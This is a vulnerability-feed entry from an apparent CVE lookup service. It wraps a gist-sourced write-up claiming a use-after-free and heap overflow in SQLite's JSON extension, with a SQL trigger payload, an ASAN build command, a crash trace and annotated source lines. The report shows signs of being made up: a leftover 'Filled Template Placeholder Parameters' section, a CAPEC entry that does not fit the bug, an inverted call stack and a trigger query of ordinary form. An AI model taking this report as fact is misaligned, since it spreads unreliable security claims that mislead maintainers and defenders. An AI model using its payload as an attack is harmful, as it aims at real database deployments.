https://vulnerability.circl.lu/sightings/feed 2026-08-14T23:33:51.323114+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/a675ba72-5f15-424b-9afa-c2d6f46bfadd/export 2026-08-14T23:33:51.344890+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "a675ba72-5f15-424b-9afa-c2d6f46bfadd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51282", "type": "seen", "source": "https://gist.github.com/programmervuln/70eec3d7f61ec0f52364baaf8433ea02", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51282\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51282\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array element iteration processing logic of the SQLite JSON1 extension. An attacker crafted malformed oversized array index payload processed by json_array_length and array traversal functions triggers heap deallocation for an array item buffer context pointer that is not nullified after memory release, forming a persistent dangling pointer. Absence of runtime bounds validation for attacker-controlled array index and element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterate() function. Successful exploitation can lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element length value invokes the vulnerable jsonArrayIterate() function defined in src/json.c.\nSource file src/json.c Line 2963 executes sqlite3_free(pArrCtx->pItemBuf); to release heap memory allocated for JSON array element storage.\nThe pArrCtx->pItemBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the item buffer copy operation.\nSource file src/json.c Line 3011 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed item buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3047 performs direct memory structure lookup using the unmodified dangling pArrCtx->pItemBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array traversal and length calculation functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array processing SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2963(memory free), Line 3047(dangling pointer access), Line 3011(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json_array(printf('%.*c',0x5400,'E')));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12763==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f000005d60 at pc 0x561443709671 bp 0x7fffde476c30 sp 0x7fffde476c20\nREAD of size 12 at 0x60f000005d60 thread T0\n #0 0x561443709670 in jsonArrayIterate src/json.c:3047\n #1 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n #2 0x561443435910 in sqlite3VdbeExec src/vdbe.c:6378\n #3 0x56144341ed70 in sqlite3Step src/vdbeapi.c:530\n #4 0x56144341f500 in sqlite3_prepare_v2 src/sqlite3.c:89185\n #5 0x561443332c40 in main shell.c:1320\n #6 0x7fdf789230ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n #7 0x56144332e6f0 in _start (sqlite3:0x56144332e6f0)\n\nAddress 0x60f000005d60 is located 80 bytes inside of 21504-byte free block 0x60f000005d10-0x60f00000af90\nFreed by thread T0 here:\n #0 0x7fdf7c142ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n #1 0x561443709200 in jsonArrayIterate src/json.c:2963\n #2 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n #3 0x561443435910 in sqlite3VdbeExec src/vdbe.c:6378\n\nPreviously allocated by thread T0 here:\n #0 0x7fdf7c137ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n #1 0x5614437089e0 in jsonArrayIterate src/json.c:2906\n #2 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n\n==12763==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000005d60 at pc 0x561443709481 bp 0x7fffde476c50 sp 0x7fffde476c40\nWRITE of size 21504 at 0x60f000005d60 thread T0\n #0 0x561443709480 in jsonArrayIterate src/json.c:3011\n #1 0x561443705bc0 in sqlite3JsonArrayLength src/json.c:3682\n #2 0x561443435910 in sqlite3VdbeExec src/vdbe.c:6378\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length wrapping a json_array constructed with an oversized element string generated by printf('%.*c',0x5400,'E') to create an attacker-controlled oversized array element payload for JSON array iteration parsing.\nSQLite forwards the untrusted array processing request to the jsonArrayIterate() function within src/json.c, which initializes an array iteration context and allocates the pArrCtx->pItemBuf heap buffer dedicated to storing parsed JSON array element data.\nDuring intermediate array parsing cleanup logic at Line 2963, the item buffer is released via sqlite3_free(), while the pArrCtx->pItemBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3011; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated item buffer heap region (CWE-787).\nProgram execution proceeds to Line 3047 and directly dereferences the stale dangling pArrCtx->pItemBuf pointer to read array element metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-23\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 2963: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pArrCtx->pItemBuf);\n\n// Line 3011: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length value\nmemcpy(pArrCtx->pItemBuf + itemOffset, zItemData, itemDataLen);\n\n// Line 3047: Illegal dangling pointer dereference triggering Use After Free vulnerability\nitemType = pArrCtx->pItemBuf[itemIdx].itemDataType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51282\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2963\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3047\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3011\n\u3010Target Function Name\u3011: jsonArrayIterate\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json_array(printf('%.*c',0x5400,'E')));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array item buffer free without pointer invalidation, unbounded element copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during array iteration final processing\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-23\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:01:11.042530Z"} 2026-08-01T03:01:11.042530+00:00